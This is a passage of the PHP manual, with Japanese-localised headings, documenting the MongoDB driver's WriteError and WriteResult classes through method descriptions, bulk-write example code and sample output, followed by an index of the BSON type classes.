返り値

Returns the WriteError's error code.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteError::getCode() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
    $manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteErrors()[0]->getCode());
}

?>

上の例の出力は、 たとえば以下のようになります。

int(11000)

User Contributed Notes

There are no user contributed notes for this page.


Returns the index of the write operation corresponding to this WriteError

  • ≪ MongoDB\Driver\WriteError::getCode
  • MongoDB\Driver\WriteError::getInfo ≫
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Returns the index of the write operation corresponding to this WriteError

MongoDB\Driver\WriteError::getIndex

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getIndex — Returns the index of the write operation corresponding to this WriteError

説明

final public MongoDB\Driver\WriteError::getIndex ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the index of the write operation (from MongoDB\Driver\BulkWrite) corresponding to this WriteError.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteError::getIndex() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
    $manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteErrors()[0]->getIndex());
}

?>

上の例の出力は、 たとえば以下のようになります。

int(1)

参考

  • MongoDB\Driver\BulkWrite

User Contributed Notes

There are no user contributed notes for this page.


Returns metadata document for the WriteError

  • ≪ MongoDB\Driver\WriteError::getIndex
  • MongoDB\Driver\WriteError::getMessage ≫
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Returns metadata document for the WriteError

MongoDB\Driver\WriteError::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getInfo — Returns metadata document for the WriteError

説明

final public MongoDB\Driver\WriteError::getInfo ( ) : object|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the metadata document for the WriteError, or null if no metadata is available.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteError's error message

  • ≪ MongoDB\Driver\WriteError::getInfo
  • MongoDB\Driver\WriteResult ≫
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Returns the WriteError's error message

MongoDB\Driver\WriteError::getMessage

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getMessage — Returns the WriteError's error message

説明

final public MongoDB\Driver\WriteError::getMessage ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the WriteError's error message.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteError::getMessage() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
    $manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteErrors()[0]->getMessage());
}

?>

上の例の出力は、 たとえば以下のようになります。

string(70) "E11000 duplicate key error index: db.collection.$_id_ dup key: { : 1 }"

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteResult class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\WriteResult class encapsulates information about an executed MongoDB\Driver\BulkWrite and may be returned by MongoDB\Driver\Manager::executeBulkWrite().

クラス概要

final MongoDB\Driver\WriteResult {
/* メソッド */
final public getDeletedCount ( ) : int|null
final public getInsertedCount ( ) : int|null
final public getMatchedCount ( ) : int|null
final public getModifiedCount ( ) : int|null
final public getServer ( ) : MongoDB\Driver\Server
final public getUpsertedCount ( ) : int|null
final public getUpsertedIds ( ) : array
final public getWriteConcernError ( ) : MongoDB\Driver\WriteConcernError|null
final public getWriteErrors ( ) : array
final public isAcknowledged ( ) : bool
}

目次

  • MongoDB\Driver\WriteResult::getDeletedCount — Returns the number of documents deleted
  • MongoDB\Driver\WriteResult::getInsertedCount — Returns the number of documents inserted (excluding upserts)
  • MongoDB\Driver\WriteResult::getMatchedCount — Returns the number of documents selected for update
  • MongoDB\Driver\WriteResult::getModifiedCount — Returns the number of existing documents updated
  • MongoDB\Driver\WriteResult::getServer — Returns the server associated with this write result
  • MongoDB\Driver\WriteResult::getUpsertedCount — Returns the number of documents inserted by an upsert
  • MongoDB\Driver\WriteResult::getUpsertedIds — Returns an array of identifiers for upserted documents
  • MongoDB\Driver\WriteResult::getWriteConcernError — Returns any write concern error that occurred
  • MongoDB\Driver\WriteResult::getWriteErrors — Returns any write errors that occurred
  • MongoDB\Driver\WriteResult::isAcknowledged — Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of documents deleted

  • ≪ MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteResult::getInsertedCount ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents deleted

MongoDB\Driver\WriteResult::getDeletedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getDeletedCount — Returns the number of documents deleted

説明

final public MongoDB\Driver\WriteResult::getDeletedCount ( ) : int|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the number of documents deleted, or null if the write was not acknowledged.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getDeletedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getDeletedCount());

?>

上の例の出力は以下となります。

int(1)

参考

  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of documents inserted (excluding upserts)

  • ≪ MongoDB\Driver\WriteResult::getDeletedCount
  • MongoDB\Driver\WriteResult::getMatchedCount ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents inserted (excluding upserts)

MongoDB\Driver\WriteResult::getInsertedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getInsertedCount — Returns the number of documents inserted (excluding upserts)

説明

final public MongoDB\Driver\WriteResult::getInsertedCount ( ) : int|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the number of documents inserted (excluding upserts), or null if the write was not acknowledged.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getInsertedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getInsertedCount());

?>

上の例の出力は以下となります。

int(1)

参考

  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

noam 29-Nov-2018 05:31
In case you are trying to add an index to a collection, and the index is already there, the value of getInsertedCount() depends on the MongoDB server version.
For example, MongoDB version 2.4 consider the index as inserted, but version 3.6 does not.


Returns the number of documents selected for update

  • ≪ MongoDB\Driver\WriteResult::getInsertedCount
  • MongoDB\Driver\WriteResult::getModifiedCount ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents selected for update

MongoDB\Driver\WriteResult::getMatchedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getMatchedCount — Returns the number of documents selected for update

説明

final public MongoDB\Driver\WriteResult::getMatchedCount ( ) : int|null

If the update operation results in no change to the document (e.g. setting the value of a field to its current value), the matched count may be greater than the value returned by MongoDB\Driver\WriteResult::getModifiedCount().

パラメータ

この関数にはパラメータはありません。

返り値

Returns the number of documents selected for update, or null if the write was not acknowledged.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getMatchedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getMatchedCount());

?>

上の例の出力は以下となります。

int(1)

参考

  • MongoDB\Driver\WriteResult::getModifiedCount() - Returns the number of existing documents updated
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of existing documents updated

  • ≪ MongoDB\Driver\WriteResult::getMatchedCount
  • MongoDB\Driver\WriteResult::getServer ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of existing documents updated

MongoDB\Driver\WriteResult::getModifiedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getModifiedCount — Returns the number of existing documents updated

説明

final public MongoDB\Driver\WriteResult::getModifiedCount ( ) : int|null

If the update operation results in no change to the document (e.g. setting the value of a field to its current value), the modified count may be less than the value returned by MongoDB\Driver\WriteResult::getMatchedCount().

パラメータ

この関数にはパラメータはありません。

返り値

Returns the number of existing documents updated, or null if the write was not acknowledged.

The modified count is not available on versions of MongoDB before 2.6, which used the legacy wire protocol version (i.e. OP_UPDATE). If this is the case, the modified count will also be null.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getModifiedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getModifiedCount());

?>

上の例の出力は以下となります。

int(1)

参考

  • MongoDB\Driver\WriteResult::getMatchedCount() - Returns the number of documents selected for update
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns the server associated with this write result

  • ≪ MongoDB\Driver\WriteResult::getModifiedCount
  • MongoDB\Driver\WriteResult::getUpsertedCount ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the server associated with this write result

MongoDB\Driver\WriteResult::getServer

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getServer — Returns the server associated with this write result

説明

final public MongoDB\Driver\WriteResult::getServer ( ) : MongoDB\Driver\Server

Returns the MongoDB\Driver\Server associated with this write result. This is the server that executed the MongoDB\Driver\BulkWrite.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\Server associated with this write result.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getServer() example

<?php

$manager = new MongoDB\Driver\Manager;
$server = $manager->selectServer(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY));

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $server->executeBulkWrite('db.collection', $bulk);

var_dump($result->getServer() == $server);

?>

上の例の出力は以下となります。

bool(true)

参考

  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of documents inserted by an upsert

  • ≪ MongoDB\Driver\WriteResult::getServer
  • MongoDB\Driver\WriteResult::getUpsertedIds ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns the number of documents inserted by an upsert

MongoDB\Driver\WriteResult::getUpsertedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getUpsertedCount — Returns the number of documents inserted by an upsert

説明

final public MongoDB\Driver\WriteResult::getUpsertedCount ( ) : int|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the number of documents inserted by an upsert.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getUpsertedCount() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getUpsertedCount());

?>

上の例の出力は以下となります。

int(2)

参考

  • MongoDB\Driver\WriteResult::getUpsertedIds() - Returns an array of identifiers for upserted documents
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of identifiers for upserted documents

  • ≪ MongoDB\Driver\WriteResult::getUpsertedCount
  • MongoDB\Driver\WriteResult::getWriteConcernError ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns an array of identifiers for upserted documents

MongoDB\Driver\WriteResult::getUpsertedIds

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getUpsertedIds — Returns an array of identifiers for upserted documents

説明

final public MongoDB\Driver\WriteResult::getUpsertedIds ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array of identifiers (i.e. "_id" field values) for upserted documents. The array keys will correspond to the index of the write operation (from MongoDB\Driver\BulkWrite) responsible for the upsert.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getUpsertedIds() example

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getUpsertedIds());

?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  [2]=>
  object(MongoDB\BSON\ObjectId)#4 (1) {
    ["oid"]=>
    string(24) "580e62a224f2302f191b880b"
  }
  [3]=>
  object(MongoDB\BSON\ObjectId)#5 (1) {
    ["oid"]=>
    string(24) "580e62a224f2302f191b880c"
  }
}

参考

  • MongoDB\Driver\WriteResult::getUpsertedCount() - Returns the number of documents inserted by an upsert
  • MongoDB\Driver\WriteResult::isAcknowledged() - Returns whether the write was acknowledged

User Contributed Notes

There are no user contributed notes for this page.


Returns any write concern error that occurred

  • ≪ MongoDB\Driver\WriteResult::getUpsertedIds
  • MongoDB\Driver\WriteResult::getWriteErrors ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns any write concern error that occurred

MongoDB\Driver\WriteResult::getWriteConcernError

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getWriteConcernError — Returns any write concern error that occurred

説明

final public MongoDB\Driver\WriteResult::getWriteConcernError ( ) : MongoDB\Driver\WriteConcernError|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns a MongoDB\Driver\WriteConcernError if a write concern error was encountered during the write operation, and null otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getWriteConcernError() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
    $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteConcernError());
}

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\Driver\WriteConcernError)#6 (3) {
  ["message"]=>
  string(33) "waiting for replication timed out"
  ["code"]=>
  int(64)
  ["info"]=>
  object(stdClass)#7 (1) {
    ["wtimeout"]=>
    bool(true)
  }
}

参考

  • MongoDB\Driver\WriteConcern
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns any write errors that occurred

  • ≪ MongoDB\Driver\WriteResult::getWriteConcernError
  • MongoDB\Driver\WriteResult::isAcknowledged ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns any write errors that occurred

MongoDB\Driver\WriteResult::getWriteErrors

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getWriteErrors — Returns any write errors that occurred

説明

final public MongoDB\Driver\WriteResult::getWriteErrors ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array of MongoDB\Driver\WriteError objects for any write errors encountered during the write operation. The array will be empty if no write errors occurred.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::getWriteErrors() with a single error

<?php

$manager = new MongoDB\Driver\Manager;

/* By default, bulk write operations are executed serially in order and
 * execution will stop after the first error.
 */
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 4]);

try {
    $result = $manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteErrors());
}

?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 2 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(2)
    ["info"]=>
    NULL
  }
}

例2 MongoDB\Driver\WriteResult::getWriteErrors() with multiple errors

<?php

$manager = new MongoDB\Driver\Manager;

/* The "ordered" option may be used to allow bulk write operations to continue
 * executing after the first error is encountered.
 */
$bulk = new MongoDB\Driver\BulkWrite(['ordered' => false]);
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 4]);

try {
    $result = $manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
    var_dump($e->getWriteResult()->getWriteErrors());
}

?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 2 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(2)
    ["info"]=>
    NULL
  }
  [1]=>
  object(MongoDB\Driver\WriteError)#6 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 4 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(5)
    ["info"]=>
    NULL
  }
}

参考

  • MongoDB\Driver\WriteError

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the write was acknowledged

  • ≪ MongoDB\Driver\WriteResult::getWriteErrors
  • MongoDB\BSON ≫
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Returns whether the write was acknowledged

MongoDB\Driver\WriteResult::isAcknowledged

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::isAcknowledged — Returns whether the write was acknowledged

説明

final public MongoDB\Driver\WriteResult::isAcknowledged ( ) : bool

If the write is acknowledged, other count fields will be available on the MongoDB\Driver\WriteResult object.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the write was acknowledged, and false otherwise.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\WriteResult::isAcknowledged() with acknowledged write concern

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->isAcknowledged());

?>

上の例の出力は以下となります。

bool(true)

例2 MongoDB\Driver\WriteResult::isAcknowledged() with unacknowledged write concern

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk, new MongoDB\Driver\WriteConcern(0));

var_dump($result->isAcknowledged());

?>

上の例の出力は以下となります。

bool(false)

参考

  • MongoDB\Driver\WriteConcern
  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


BSON type classes and serialization functions

  • 関数
    • MongoDB\BSON\fromJSON — Returns the BSON representation of a JSON value
    • MongoDB\BSON\fromPHP — Returns the BSON representation of a PHP value
    • MongoDB\BSON\toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of a BSON value
    • MongoDB\BSON\toJSON — Returns the Legacy Extended JSON representation of a BSON value
    • MongoDB\BSON\toPHP — Returns the PHP representation of a BSON value
    • MongoDB\BSON\toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of a BSON value
  • MongoDB\BSON\Binary — The MongoDB\BSON\Binary class
    • MongoDB\BSON\Binary::__construct — Construct a new Binary
    • MongoDB\BSON\Binary::getData — Returns the Binary's data
    • MongoDB\BSON\Binary::getType — Returns the Binary's type
    • MongoDB\BSON\Binary::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Binary::serialize — Serialize a Binary
    • MongoDB\BSON\Binary::__toString — Returns the Binary's data
    • MongoDB\BSON\Binary::unserialize — Unserialize a Binary
  • MongoDB\BSON\Decimal128 — The MongoDB\BSON\Decimal128 class
    • MongoDB\BSON\Decimal128::__construct — Construct a new Decimal128
    • MongoDB\BSON\Decimal128::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Decimal128::serialize — Serialize a Decimal128
    • MongoDB\BSON\Decimal128::__toString — Returns the string representation of this Decimal128
    • MongoDB\BSON\Decimal128::unserialize — Unserialize a Decimal128
  • MongoDB\BSON\Javascript — The MongoDB\BSON\Javascript class
    • MongoDB\BSON\Javascript::__construct — Construct a new Javascript
    • MongoDB\BSON\Javascript::getCode — Returns the Javascript's code
    • MongoDB\BSON\Javascript::getScope — Returns the Javascript's scope document
    • MongoDB\BSON\Javascript::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Javascript::serialize — Serialize a Javascript
    • MongoDB\BSON\Javascript::__toString — Returns the Javascript's code
    • MongoDB\BSON\Javascript::unserialize — Unserialize a Javascript
  • MongoDB\BSON\MaxKey — The MongoDB\BSON\MaxKey class
    • MongoDB\BSON\MaxKey::__construct — Construct a new MaxKey
    • MongoDB\BSON\MaxKey::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\MaxKey::serialize — Serialize a MaxKey
    • MongoDB\BSON\MaxKey::unserialize — Unserialize a MaxKey
  • MongoDB\BSON\MinKey — The MongoDB\BSON\MinKey class
    • MongoDB\BSON\MinKey::__construct — Construct a new MinKey
    • MongoDB\BSON\MinKey::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\MinKey::serialize — Serialize a MinKey
    • MongoDB\BSON\MinKey::unserialize — Unserialize a MinKey
  • MongoDB\BSON\ObjectId — The MongoDB\BSON\ObjectId class
    • MongoDB\BSON\ObjectId::__construct — Construct a new ObjectId
    • MongoDB\BSON\ObjectId::getTimestamp — Returns the timestamp component of this ObjectId
    • MongoDB\BSON\ObjectId::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\ObjectId::serialize — Serialize an ObjectId
    • MongoDB\BSON\ObjectId::__toString — Returns the hexidecimal representation of this ObjectId
    • MongoDB\BSON\ObjectId::unserialize — Unserialize an ObjectId
  • MongoDB\BSON\Regex — The MongoDB\BSON\Regex class
    • MongoDB\BSON\Regex::__construct — Construct a new Regex
    • MongoDB\BSON\Regex::getFlags — Returns the Regex's flags
    • MongoDB\BSON\Regex::getPattern — Returns the Regex's pattern
    • MongoDB\BSON\Regex::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Regex::serialize — Serialize a Regex
    • MongoDB\BSON\Regex::__toString — Returns the string representation of this Regex
    • MongoDB\BSON\Regex::unserialize — Unserialize a Regex
  • MongoDB\BSON\Timestamp — The MongoDB\BSON\Timestamp class
    • MongoDB\BSON\Timestamp::__construct — Construct a new Timestamp
    • MongoDB\BSON\Timestamp::getIncrement — Returns the increment component of this Timestamp
    • MongoDB\BSON\Timestamp::getTimestamp — Returns the timestamp component of this Timestamp
    • MongoDB\BSON\Timestamp::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Timestamp::serialize — Serialize a Timestamp
    • MongoDB\BSON\Timestamp::__toString — Returns the string representation of this Timestamp
    • MongoDB\BSON\Timestamp::unserialize — Unserialize a Timestamp
  • MongoDB\BSON\UTCDateTime — The MongoDB\BSON\UTCDateTime class
    • MongoDB\BSON\UTCDateTime::__construct — Construct a new UTCDateTime
    • MongoDB\BSON\UTCDateTime::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\UTCDateTime::serialize — Serialize a UTCDateTime
    • MongoDB\BSON\UTCDateTime::toDateTime — Returns the DateTime representation of this UTCDateTime
    • MongoDB\BSON\UTCDateTime::__toString — Returns the string representation of this UTCDateTime
    • MongoDB\BSON\UTCDateTime::unserialize — Unserialize a UTCDateTime
  • MongoDB\BSON\Type — The MongoDB\BSON\Type interface
  • MongoDB\BSON\Persistable — The MongoDB\BSON\Persistable interface
  • MongoDB\BSON\Serializable — The MongoDB\BSON\Serializable interface
    • MongoDB\BSON\Serializable::bsonSerialize — Provides an array or document to serialize as BSON
  • MongoDB\BSON\Unserializable — The MongoDB\BSON\Unserializable interface
    • MongoDB\BSON\Unserializable::bsonUnserialize — Constructs the object from a BSON array or document
  • MongoDB\BSON\BinaryInterface — The MongoDB\BSON\BinaryInterface interface
    • MongoDB\BSON\BinaryInterface::getData — Returns the BinaryInterface's data
    • MongoDB\BSON\BinaryInterface::getType — Returns the BinaryInterface's type
    • MongoDB\BSON\BinaryInterface::__toString — Returns the BinaryInterface's data
  • MongoDB\BSON\Decimal128Interface — The MongoDB\BSON\Decimal128Interface interface
    • MongoDB\BSON\Decimal128Interface::__toString — Returns the string representation of this Decimal128Interface
  • MongoDB\BSON\JavascriptInterface — The MongoDB\BSON\JavascriptInterface interface
    • MongoDB\BSON\JavascriptInterface::getCode — Returns the JavascriptInterface's code
    • MongoDB\BSON\JavascriptInterface::getScope — Returns the JavascriptInterface's scope document
    • MongoDB\BSON\JavascriptInterface::__toString — Returns the JavascriptInterface's code
  • MongoDB\BSON\MaxKeyInterface — The MongoDB\BSON\MaxKeyInterface interface
  • MongoDB\BSON\MinKeyInterface — The MongoDB\BSON\MinKeyInterface interface
  • MongoDB\BSON\ObjectIdInterface — The MongoDB\BSON\ObjectIdInterface interface
    • MongoDB\BSON\ObjectIdInterface::getTimestamp — Returns the timestamp component of this ObjectIdInterface
    • MongoDB\BSON\ObjectIdInterface::__toString — Returns the hexidecimal representation of this ObjectIdInterface
  • MongoDB\BSON\RegexInterface — The MongoDB\BSON\RegexInterface interface
    • MongoDB\BSON\RegexInterface::getFlags — Returns the RegexInterface's flags
    • MongoDB\BSON\RegexInterface::getPattern — Returns the RegexInterface's pattern
    • MongoDB\BSON\RegexInterface::__toString — Returns the string representation of this RegexInterface
  • MongoDB\BSON\TimestampInterface — The MongoDB\BSON\TimestampInterface interface
    • MongoDB\BSON\TimestampInterface::getIncrement — Returns the increment component of this TimestampInterface
    • MongoDB\BSON\TimestampInterface::getTimestamp — Returns the timestamp component of this TimestampInterface
    • MongoDB\BSON\TimestampInterface::__toString — Returns the string representation of this TimestampInterface
  • MongoDB\BSON\UTCDateTimeInterface — The MongoDB\BSON\UTCDateTimeInterface interface
    • MongoDB\BSON\UTCDateTimeInterface::toDateTime — Returns the DateTime representation of this UTCDateTimeInterface
    • MongoDB\BSON\UTCDateTimeInterface::__toString — Returns the string representation of this UTCDateTimeInterface
  • MongoDB\BSON\DBPointer — The MongoDB\BSON\DBPointer class (deprecated)
    • MongoDB\BSON\DBPointer::__construct — Construct a new DBPointer (unused)
